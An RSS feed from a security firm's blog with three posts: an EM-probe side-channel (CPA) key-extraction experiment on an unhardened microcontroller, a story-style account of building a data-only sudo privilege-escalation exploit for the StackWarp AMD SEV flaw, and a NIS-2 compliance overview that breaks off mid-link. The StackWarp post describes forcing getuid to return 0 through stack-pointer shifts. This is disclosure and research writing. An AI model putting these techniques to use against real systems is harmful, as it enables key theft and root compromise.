<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Subscribe to RSS feed</title><link>https://www.schutzwerk.com/en/</link><description>SCHUTZWERK Blog and News Feed</description><generator>Hugo -- gohugo.io</generator><lastBuildDate>Mon, 02 Mar 2026 08:00:00 +0100</lastBuildDate><item><title>Side-Channel Attacks: Langer EM Probes and CPA</title><link>https://www.schutzwerk.com/en/blog/langer-messsonden/</link><author>SCHUTZWERK GmbH</author><pubDate>Mon, 02 Mar 2026 08:00:00 +0100</pubDate><category>embedded security</category><category>attacks</category><category>research</category><description>
&lt;h2 id="side-channel-attacks-langer-em-probes-and-cpa">Side-Channel Attacks: Langer EM Probes and CPA&lt;/h2>
&lt;p>In hardware security research, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://en.wikipedia.org/wiki/Side-channel_attack"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">side-channel&lt;/span>
&lt;/a>&lt;a
href="https://en.wikipedia.org/wiki/Side-channel_attack"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">attacks&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
play a central role – unlike traditional software attacks, they use physical measurements to extract sensitive data. The goal is to measure the &amp;ldquo;whisper&amp;rdquo; of the chip and then extract secrets using various analysis methods.&lt;/p>
&lt;p>In addition to power consumption measurements, electromagnetic probes (EM probes) are among the most important tools for capturing chip emissions and uncovering vulnerabilities in cryptographic implementations. This article shows how an evaluation with EM probes works, what insights it provides, and why it is essential for security assessment.&lt;/p>
&lt;p>Various probes from &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.langer-emv.de/en/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Langer&lt;/span>
&lt;/a>&lt;a
href="https://www.langer-emv.de/en/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">EMV-Technik&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
are compared with their characteristics for a non-hardened target. Langer EMV-Technik is an established manufacturer of probes and tools for measuring electromagnetic fields.
The primary goal is to use the insights gained from the evaluation to perform a quick assessment of a test device, which can be used in practice as a simple test for the disclosure of secrets.&lt;/p>
&lt;p>The evaluation focused on the use of various near-field probes and a preamplifier from Langer EMV-Technik. A Correlation Power Analysis (CPA) – a statistical method for extracting cryptographic keys – was performed using ChipWhisperer®. An ATxmega128D4 microcontroller (128 KB Flash, 32 MHz, 8-bit) served as the test target, as used in many simple consumer devices. The target was deliberately not hardened to obtain the simplest possible setup for comparability of measurement results.&lt;/p>
&lt;h3 id="experimental-setup-and-procedure">Experimental Setup and Procedure&lt;/h3>
&lt;p>The test setup consists of the following components:&lt;/p>
&lt;ul>
&lt;li>Langer EMV-Technik Near-field probes RF 30 MHz - 3 GHz:
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.langer-emv.de/en/product/rf-passiv-30-mhz-bis-3-ghz/35/rf-b-0-3-3-h-feldsonde-mini-30-mhz-bis-3-ghz/17"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">RF-B&lt;/span>
&lt;/a>&lt;a
href="https://www.langer-emv.de/en/product/rf-passiv-30-mhz-bis-3-ghz/35/rf-b-0-3-3-h-feldsonde-mini-30-mhz-bis-3-ghz/17"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">0.3-3&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
(2 mm probe head diameter)&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.langer-emv.de/en/product/rf-passiv-30-mhz-bis-3-ghz/35/rf-b-3-2-h-feldsonde-30-mhz-bis-3-ghz/15"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">RF-B&lt;/span>
&lt;/a>&lt;a
href="https://www.langer-emv.de/en/product/rf-passiv-30-mhz-bis-3-ghz/35/rf-b-3-2-h-feldsonde-30-mhz-bis-3-ghz/15"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">3-2&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
(4 mm probe head diameter)&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.langer-emv.de/en/product/rf-passiv-30-mhz-bis-3-ghz/35/rf-b-50-1-h-feldsonde-30-mhz-bis-3-ghz/602"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">RF-B&lt;/span>
&lt;/a>&lt;a
href="https://www.langer-emv.de/en/product/rf-passiv-30-mhz-bis-3-ghz/35/rf-b-50-1-h-feldsonde-30-mhz-bis-3-ghz/602"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">50-1&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
(10 mm probe head diameter)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Langer EMV-Technik Preamplifier &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.langer-emv.de/en/product/vorverstaerker/37/pa-306-sma-set-vorverstaerker-100-khz-bis-6-ghz/817"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">PA&lt;/span>
&lt;/a>&lt;a
href="https://www.langer-emv.de/en/product/vorverstaerker/37/pa-306-sma-set-vorverstaerker-100-khz-bis-6-ghz/817"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">306&lt;/span>
&lt;/a>&lt;a
href="https://www.langer-emv.de/en/product/vorverstaerker/37/pa-306-sma-set-vorverstaerker-100-khz-bis-6-ghz/817"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">SMA&lt;/span>
&lt;/a>&lt;a
href="https://www.langer-emv.de/en/product/vorverstaerker/37/pa-306-sma-set-vorverstaerker-100-khz-bis-6-ghz/817"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">set&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
for signal amplification&lt;/li>
&lt;li>ChipWhisperer® CW1200 (oscilloscope/recording device)&lt;/li>
&lt;li>ChipWhisperer® CW308 UFO Board (adapter)&lt;/li>
&lt;li>CW308T‑XMEGA Target Board (target device)
&lt;ul>
&lt;li>Target Device: ATXmega128D4-AU
&lt;ul>
&lt;li>128 KB Flash Memory&lt;/li>
&lt;li>Clock Speed: 32 MHz&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Target Architecture: 8-bit Harvard&lt;/li>
&lt;li>Supply voltage 3.3 V&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>The goal was to successfully perform a Correlation Power Analysis (CPA) with the three different H-field probes (RF-B 0_3-3, RF-B 3-2, RF-B 50-1), with different coil diameters and a preamplifier PA 306 SMA using the ChipWhisperer® stack (CW1200, CW308 UFO, CW308T-XMEGA Target), record measurement data, and compare them. The notebook H-Field Probe Demo 1 (with CPA) .ipynb available in the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/newaetech/chipwhisperer-jupyter"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">ChipWhisperer&lt;/span>
&lt;/a>&lt;a
href="https://github.com/newaetech/chipwhisperer-jupyter"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Jupyter&lt;/span>
&lt;/a>&lt;a
href="https://github.com/newaetech/chipwhisperer-jupyter"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">GitHub&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
was used for this purpose. The preamplifier has a gain of 30 dB and operates in a frequency range from 100 kHz to 6 GHz. It is therefore very well suited for the target used here with a clock frequency of 32 MHz. In particular, the use of differently sized probes was to be evaluated with regard to application on a target with a closed package (plastic housing) and manual placement on the target.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/langer-messsonden/langer-near-field-probes-size-comparison_hub63bc0b2f2a9c2625b7bc494d7c87637_1037636_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/langer-messsonden/langer-near-field-probes-size-comparison_hub63bc0b2f2a9c2625b7bc494d7c87637_1037636_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/langer-messsonden/langer-near-field-probes-size-comparison_hub63bc0b2f2a9c2625b7bc494d7c87637_1037636_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/langer-messsonden/langer-near-field-probes-size-comparison.jpg"
width="2560"
height="1707"
alt="Langer EMV-Technik near-field probes with different coil diameters"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Langer EMV-Technik near-field probes with different coil diameters&lt;/figcaption>
&lt;/figure>
&lt;p>The idea behind this was to find out how easy it is to manually place a probe on an unknown test device and read the key from the chip. The orthogonal position of the coil to the probe body facilitates positioning.&lt;/p>
&lt;p>For each of the three H-field probes, the CPA script was executed to realize the side-channel attack. The measurements were recorded via the ChipWhisperer® to enable synchronous sampling to the processor clock.
The number of traces required was kept as low as possible, with a constant 5,000 samples recorded in each case. With a sample duration of approximately 33.85 ns, the ADC resolution is 10 bits.&lt;/p>
&lt;p>For best results, the probes were placed vertically and as close as possible to the target. Placement was done manually with a probe holder and adjusted based on results from the t-test procedure to find a good position. The setup was not additionally shielded.&lt;/p>
&lt;h3 id="results">Results&lt;/h3>
&lt;p>With all tested probes, it was possible to successfully achieve key extraction using the CPA method, with CPA showing statistical significance of the results in all measurement series performed.
The respective probes required the following number of traces (see Diagrams 1-3):&lt;/p>
&lt;ul>
&lt;li>RF-B 0_3-3: 550 traces&lt;/li>
&lt;li>RF-B 3-2: 250 traces&lt;/li>
&lt;li>RF-B 50-1: 100 traces&lt;/li>
&lt;/ul>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/langer-messsonden/cpa-correlation-rf-b-0-3-3-en_hu2abb44f13010080a63ec9bdce1fe8b7c_219042_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/langer-messsonden/cpa-correlation-rf-b-0-3-3-en_hu2abb44f13010080a63ec9bdce1fe8b7c_219042_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/langer-messsonden/cpa-correlation-rf-b-0-3-3-en_hu2abb44f13010080a63ec9bdce1fe8b7c_219042_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/langer-messsonden/cpa-correlation-rf-b-0-3-3-en.png"
width="1024"
height="768"
alt="Diagram 1: Correlation progress for Byte 0 with RF-B 0.3-3"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Diagram 1: Correlation progress for Byte 0 with RF-B 0.3-3&lt;/figcaption>
&lt;/figure>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/langer-messsonden/cpa-correlation-rf-b-3-2-en_hu57506b140e15c09a81605ae7934830d5_265448_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/langer-messsonden/cpa-correlation-rf-b-3-2-en_hu57506b140e15c09a81605ae7934830d5_265448_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/langer-messsonden/cpa-correlation-rf-b-3-2-en_hu57506b140e15c09a81605ae7934830d5_265448_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/langer-messsonden/cpa-correlation-rf-b-3-2-en.png"
width="1024"
height="768"
alt="Diagram 2: Correlation progress for Byte 0 with RF-B 3-2"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Diagram 2: Correlation progress for Byte 0 with RF-B 3-2&lt;/figcaption>
&lt;/figure>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/langer-messsonden/cpa-correlation-rf-b-50-1-en_hu00ef82166904f4136d20bf0fd6444d21_240571_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/langer-messsonden/cpa-correlation-rf-b-50-1-en_hu00ef82166904f4136d20bf0fd6444d21_240571_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/langer-messsonden/cpa-correlation-rf-b-50-1-en_hu00ef82166904f4136d20bf0fd6444d21_240571_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/langer-messsonden/cpa-correlation-rf-b-50-1-en.png"
width="1024"
height="768"
alt="Diagram 3: Correlation progress for Byte 0 with RF-B 50-1"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Diagram 3: Correlation progress for Byte 0 with RF-B 50-1&lt;/figcaption>
&lt;/figure>
&lt;p>The statistical significance can be read from the diagrams for byte 0 as an example. The thick red line represents the correlation of the correct key byte. As soon as this value is significantly above the correlations of the other values, the minimum number of traces for a reliable statement has been reached.&lt;/p>
&lt;p>It can be seen that the number of necessary traces decreases with the size of the measurement radius. This is because a larger measurement range provides greater tolerance for manual placement, and the probe does not need to be positioned exactly at the optimal position on the target. It is expected that automated positioning with the smaller probes, especially with weaker signals, could deliver better results.
The larger measurement radius also increases the recorded noise, but the Langer EMV-Technik probes have a very good signal-to-noise ratio, which compensates for this.&lt;/p>
&lt;p>For comparison, the attack – measured via a shunt resistor in the same target&amp;rsquo;s power supply – requires approximately 100 traces, as there is a very strong signal here, and with the EM probe with preamplifier included with the ChipWhisperer approximately 250 traces. However, measurement via a shunt resistor is very difficult in practice, as in many cases there are multiple power supplies and capacitances in the system and hardware manipulation is often required. Therefore, in these cases it is much easier to place a probe over the target. Since this was a non-hardened target, the signal could already be detected well using an oscilloscope.&lt;/p>
&lt;h3 id="conclusion">Conclusion&lt;/h3>
&lt;p>The following insights can be derived from the results:&lt;/p>
&lt;ul>
&lt;li>The hardware stack used (CW1200, CW308 UFO, Target Board) provided a reliable platform for evaluating side-channel analyses.&lt;/li>
&lt;li>The combination of Langer EMV-Technik near-field probes and preamplifier proved to be extremely functional and was crucial for the success of the attacks.&lt;/li>
&lt;li>The attack can be performed after simple manual adjustment of the setup.&lt;/li>
&lt;li>Transferability to hardened or faster operating targets is feasible, and the probes can therefore be used for quick verification of side-channel leaks.&lt;/li>
&lt;li>The Jupyter Notebook provided by ChipWhisperer® enabled a simple option to evaluate the performance of CPA analysis on the XMEGA target.&lt;/li>
&lt;li>Despite different probe designs, CPA was very reliable with all probes. It was not necessary to perform automated and time-consuming testing of the exact placement of the probes.&lt;/li>
&lt;li>Large probes are suitable for quick identification of side-channel leaks, especially with closed packages, as there is greater tolerance for placement.&lt;/li>
&lt;li>It can be assumed that smaller probes can be used better against hardened targets and through exact placement, and offer higher precision especially with greater interference. Further tests are required for this.&lt;/li>
&lt;/ul>
&lt;p>The larger probes can be used for quick analysis in combination with a good signal-to-noise ratio and little prior knowledge. With smaller probes, there is also the possibility of covering many advanced requirements. The simple handling, especially through the possibility of vertical placement of the probe, is also an advantage when mechanical automatic placement is to be used.&lt;/p></description></item><item><title>StackWarp (CVE-2025-29943): Exploiting an AMD SEV Hypervisor Vulnerability with a Data-Only Attack</title><link>https://www.schutzwerk.com/en/blog/stackwarp-cve-2025-29943-amd-sev-exploit/</link><author>Youheng Lü</author><pubDate>Wed, 18 Feb 2026 11:25:58 +0100</pubDate><category>attacks</category><category>news</category><category>reverse engineering</category><category>research</category><category>hardware</category><description>
&lt;p>On January 16, 2026, researchers at the &lt;strong>CISPA Helmholtz Center for Information Security&lt;/strong> published &lt;strong>StackWarp (CVE-2025-29943)&lt;/strong>, a new CPU vulnerability that allows a malicious hypervisor to compromise encrypted virtual machines protected by &lt;strong>AMD&lt;/strong> SEV.&lt;/p>
&lt;p>This post tells the story of how I quickly identified promising research and helped turn a new exploit primitive into a working data-only exploit within two hours. The work reflects the flexibility we have at &lt;strong>SCHUTZWERK&lt;/strong> — I was able to quickly reallocate some of my time to pursue a highly promising research project.&lt;/p>
&lt;p>I’ll start with the story, then provide a technical overview of the sudo data-only exploit described in Section 6.3 of the paper.&lt;/p>
&lt;hr>
&lt;h2 id="the-story">The Story&lt;/h2>
&lt;p>It all started with an innocent-looking message:&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>August 16, 2025&lt;/strong>
&lt;strong>Ruiyi Zhang – 4:12 PM&lt;/strong>
&lt;em>“Youheng, do you still recall which function of sudo you examined for CacheWarp?”&lt;/em>&lt;/p>
&lt;/blockquote>
&lt;p>For context, Ruiyi is the lead author of CacheWarp, where I contributed exploit development expertise. The message didn’t seem unusual at first — I replied and moved on.&lt;/p>
&lt;p>As a side note, the deadlines for &lt;strong>USENIX Security &amp;lsquo;26&lt;/strong> would soon become relevant:&lt;/p>
&lt;ul>
&lt;li>Paper registration due: August 19, 2025&lt;/li>
&lt;li>Paper submission due: August 26, 2025&lt;/li>
&lt;/ul>
&lt;p>A few days later, while recovering from an illness, my mind wandered back to Ruiyi’s question. Something felt off. CacheWarp had been published more than a year earlier — why ask about sudo now?&lt;/p>
&lt;p>Unless they had found something new.&lt;/p>
&lt;p>After recovering, I reached out:&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>August 21, 2025&lt;/strong>
&lt;strong>Youheng Lü – 10:49 AM&lt;/strong>
&lt;em>“Hey, where did this question come from? Are you looking into sudo?”&lt;/em>&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>&lt;strong>Ruiyi Zhang – 10:57 AM&lt;/strong>
&lt;em>“Yes, we are looking if there are any useful gadgets for another paper.”&lt;/em>&lt;/p>
&lt;/blockquote>
&lt;p>After a few more messages, the situation became clear. Their team had discovered a new exploit primitive and wanted to build a sudo exploit around it. The primitive was conceptually simple: the attacker could shift the stack pointer (&lt;code>rsp&lt;/code>) up and down. While this makes building a traditional ROP chain trivial, the researchers specifically wanted a &lt;strong>data-only exploit&lt;/strong> that preserves control-flow integrity to bypass mitigations like shadow stacks.&lt;/p>
&lt;p>They had five days left before the submission deadline.&lt;/p>
&lt;hr>
&lt;h2 id="data-only-exploit-overview">Data-Only Exploit Overview&lt;/h2>
&lt;p>One of the biggest challenges in data-only exploitation is that most interesting variables live in registers, not on the stack. However, during CacheWarp exploitation, I had noticed something useful in the Linux kernel:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-nasm" data-lang="nasm">&lt;span style="color:#447fcf">Dump&lt;/span> &lt;span style="color:#40ffff">of&lt;/span> &lt;span style="color:#40ffff">assembler&lt;/span> &lt;span style="color:#40ffff">code&lt;/span> &lt;span style="color:#40ffff">for&lt;/span> &lt;span style="color:#40ffff">function&lt;/span> &lt;span style="color:#40ffff">entry_SYSCALL_64&lt;/span>:
&lt;span style="color:#a61717;background-color:#e3d2d2">[&lt;/span>&lt;span style="color:#447fcf">...&lt;/span>]
&lt;span style="color:#a61717;background-color:#e3d2d2">0&lt;/span>&lt;span style="color:#447fcf">xffffffff8200015e&lt;/span> &amp;lt;+&lt;span style="color:#3677a9">222&lt;/span>&amp;gt;: &lt;span style="color:#40ffff">pop&lt;/span> %&lt;span style="color:#40ffff">r8&lt;/span>
&lt;span style="color:#a61717;background-color:#e3d2d2">=&amp;gt;&lt;/span> &lt;span style="color:#a61717;background-color:#e3d2d2">0&lt;/span>&lt;span style="color:#447fcf">xffffffff82000160&lt;/span> &amp;lt;+&lt;span style="color:#3677a9">224&lt;/span>&amp;gt;: &lt;span style="color:#40ffff">pop&lt;/span> %&lt;span style="color:#24909d">rax&lt;/span> &amp;lt;&lt;span style="color:#a61717;background-color:#e3d2d2">=&lt;/span> &lt;span style="color:#40ffff">HERE.&lt;/span>
&lt;span style="color:#a61717;background-color:#e3d2d2">0&lt;/span>&lt;span style="color:#447fcf">xffffffff82000161&lt;/span> &amp;lt;+&lt;span style="color:#3677a9">225&lt;/span>&amp;gt;: &lt;span style="color:#40ffff">pop&lt;/span> %&lt;span style="color:#24909d">rcx&lt;/span>
&lt;span style="color:#a61717;background-color:#e3d2d2">0&lt;/span>&lt;span style="color:#447fcf">xffffffff82000162&lt;/span> &amp;lt;+&lt;span style="color:#3677a9">226&lt;/span>&amp;gt;: &lt;span style="color:#40ffff">pop&lt;/span> %&lt;span style="color:#24909d">rdx&lt;/span>
&lt;span style="color:#a61717;background-color:#e3d2d2">0&lt;/span>&lt;span style="color:#447fcf">xffffffff82000163&lt;/span> &amp;lt;+&lt;span style="color:#3677a9">227&lt;/span>&amp;gt;: &lt;span style="color:#40ffff">pop&lt;/span> %&lt;span style="color:#24909d">rsi&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
&lt;p>The return value of a system call is temporarily stored on the &lt;strong>stack&lt;/strong> and then loaded into &lt;code>rax&lt;/code> via &lt;code>pop rax&lt;/code> in &lt;code>entry_SYSCALL_64&lt;/code>.&lt;/p>
&lt;p>During CacheWarp, we didn’t end up using this observation. But it suddenly became highly relevant.&lt;/p>
&lt;p>From previous work, we already knew that if we can force &lt;code>getuid()&lt;/code> to return &lt;code>0&lt;/code>, we can exploit sudo. After a &lt;code>getuid&lt;/code> call, the stack layout looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">--------
| 0 |
| ---- |
| 1000 | &amp;lt;- rsp
--------
&lt;/code>&lt;/pre>&lt;/div>&lt;p>By shifting &lt;code>rsp&lt;/code> upward, we can cause &lt;code>pop rax&lt;/code> to load &lt;code>0&lt;/code> into &lt;code>rax&lt;/code>. We then shift &lt;code>rsp&lt;/code> back to its original position to preserve control-flow integrity. The result is a data-only manipulation of the syscall return value.&lt;/p>
&lt;p>Tracking the exact line of code and validating the proof of concept in GDB took about two hours, thanks to the excellent kernel debugging setup from &lt;strong>pwn.college&lt;/strong>. Ruiyi now had a working data-only exploit primitive.&lt;/p>
&lt;p>Over the next four days, the team engineered a full exploit using the real hardware primitive. The paper was accepted with only minor revisions. I was also added to the CVE credits, which I’m very grateful for.&lt;/p>
&lt;hr>
&lt;h2 id="takeaways">Takeaways&lt;/h2>
&lt;p>This experience reinforced two important lessons:&lt;/p>
&lt;ol>
&lt;li>&lt;strong>No knowledge or effort is wasted.&lt;/strong> Kernel internals I explored a year earlier suddenly became critical to exploiting a new vulnerability.&lt;/li>
&lt;li>&lt;strong>Stay curious.&lt;/strong> If I hadn’t questioned that initial message, I might have missed the opportunity to contribute.&lt;/li>
&lt;/ol>
&lt;p>Research progress often depends on connecting old insights with new discoveries. StackWarp was a perfect example of how prior experience can dramatically accelerate exploitation when time is limited.&lt;/p>
&lt;hr>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>At SCHUTZWERK, we have highly skilled experts who specialize in rapid prototyping of exploits for hardware and software vulnerabilities. If you are interested in our expertise, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/contact/"
class="link-background inline split"
>
&lt;span class="link-label">schedule&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/contact/"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/contact/"
class="link-background inline split"
>
&lt;span class="link-label">free&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/contact/"
class="link-background inline split"
>
&lt;span class="link-label">initial&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/contact/"
class="link-background inline split"
>
&lt;span class="link-label">consultation&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/p></description></item><item><title>NIS-2 Is Here – What Now?</title><link>https://www.schutzwerk.com/en/blog/nis-2-ist-da/</link><author>SCHUTZWERK GmbH</author><pubDate>Wed, 17 Dec 2025 09:00:00 +0100</pubDate><category>news</category><category>compliance</category><description>
&lt;p>With the entry into force of the NIS-2 Implementation Act (NIS2UmsuCG) on December 6, 2025, a significant turning point has been reached for many organizations in Germany. Significantly more organizations than before must now comply with the new cybersecurity regulations. The requirements are comprehensive: from clear reporting obligations for security incidents to detailed provisions for risk management.&lt;/p>
&lt;p>Many decision-makers are now asking themselves the same question: Does NIS-2 apply to my organization and what do I need to do specifically?&lt;/p>
&lt;h2 id="what-organizations-need-to-consider-in-2025-regarding-the-nis-2-implementation-act">What Organizations Need to Consider in 2025 Regarding the NIS-2 Implementation Act&lt;/h2>
&lt;p>The implementation of the NIS-2 Directive is not simply a new law in the Federal Law Gazette, but a fundamental realignment of cybersecurity in Germany. The BSI (Federal Office for Information Security) and other supervisory authorities are establishing a framework that extends far beyond traditional KRITIS sectors. The scope of application has been deliberately expanded. Not only operators of critical facilities, but also numerous important and particularly important entities, regardless of their size, now fall under the new regulations. Organizations that have not previously operated in the critical infrastructure environment must now assess whether they are among the affected entities. And those who are affected must respond within a short timeframe.&lt;/p>
&lt;p>What does this mean in practice? Organizations must prepare for information security to be more heavily regulated, more strictly monitored, and more closely integrated with other requirements such as the Digital Operational Resilience Act (DORA) in the future. The legislator aims to achieve genuine harmonization, not only between the NIS-2 Implementation Act and the KRITIS Umbrella Act, but across all sectors.&lt;/p>
&lt;h2 id="am-i-an-important-or-particularly-important-entity">Am I an &amp;ldquo;Important&amp;rdquo; or &amp;ldquo;Particularly Important&amp;rdquo; Entity?&lt;/h2>
&lt;p>As part of the implementation of the NIS-2 Directive and the planned NIS-2 Implementation Act, organizations must assess whether they fall within the scope of NIS2. Key factors include the sector (critical infrastructure, digital infrastructure, commerce, managed services) as well as thresholds such as employee count, annual revenue, and size of the entity. A detailed list of affected sectors can be found in &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/NIS-2/NIS-2-Sektoren_Anlage-1.pdf?__blob=publicationFile&amp;amp;v=5"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Annexes&lt;/span>
&lt;/a>&lt;a
href="https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/NIS-2/NIS-2-Sektoren_Anlage-1.pdf?__blob=publicationFile&amp;amp;v=5"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">1&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
and &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/NIS-2/NIS-2-Sektoren_Anlage-2.pdf?__blob=publicationFile&amp;amp;v=7"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
of the corresponding BSI publications. Regardless of their size, certain operators of critical facilities or critical infrastructure organizations can be classified as particularly important entities.&lt;/p>
&lt;p>Organizations already classified as KRITIS organizations are automatically classified as particularly important entities through harmonization with the KRITIS Umbrella Act. Affected organizations receive support in classification and implementation of NIS-2 Directive requirements, as well as in implementing essential principles of information security management for both federal government entities and private sector organizations.&lt;/p>
&lt;p>If you are unsure whether your organization falls under the NIS2 Implementation Act or is among the affected entities, now is the right time to conduct an impact assessment. The &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.bsi.bund.de/DE/Themen/Regulierte-Wirtschaft/NIS-2-regulierte-Unternehmen/NIS-2-Betroffenheitspruefung/nis-2-betroffenheitspruefung.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">official&lt;/span>
&lt;/a>&lt;a
href="https://www.bsi.bund.de/DE/Themen/Regulierte-Wirtschaft/NIS-2-regulierte-Unternehmen/NIS-2-Betroffenheitspruefung/nis-2-betroffenheitspruefung.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">NIS-2&lt;/span>
&lt;/a>&lt;a
href="https://www.bsi.bund.de/DE/Themen/Regulierte-Wirtschaft/NIS-2-regulierte-Unternehmen/NIS-2-Betroffenheitspruefung/nis-2-betroffenheitspruefung.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">impact&lt;/span>
&lt;/a>&lt;a
href="https://www.bsi.bund.de/DE/Themen/Regulierte-Wirtschaft/NIS-2-regulierte-Unternehmen/NIS-2-Betroffenheitspruefung/nis-2-betroffenheitspruefung.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">assessment&lt;/span>
&lt;/a>&lt;a
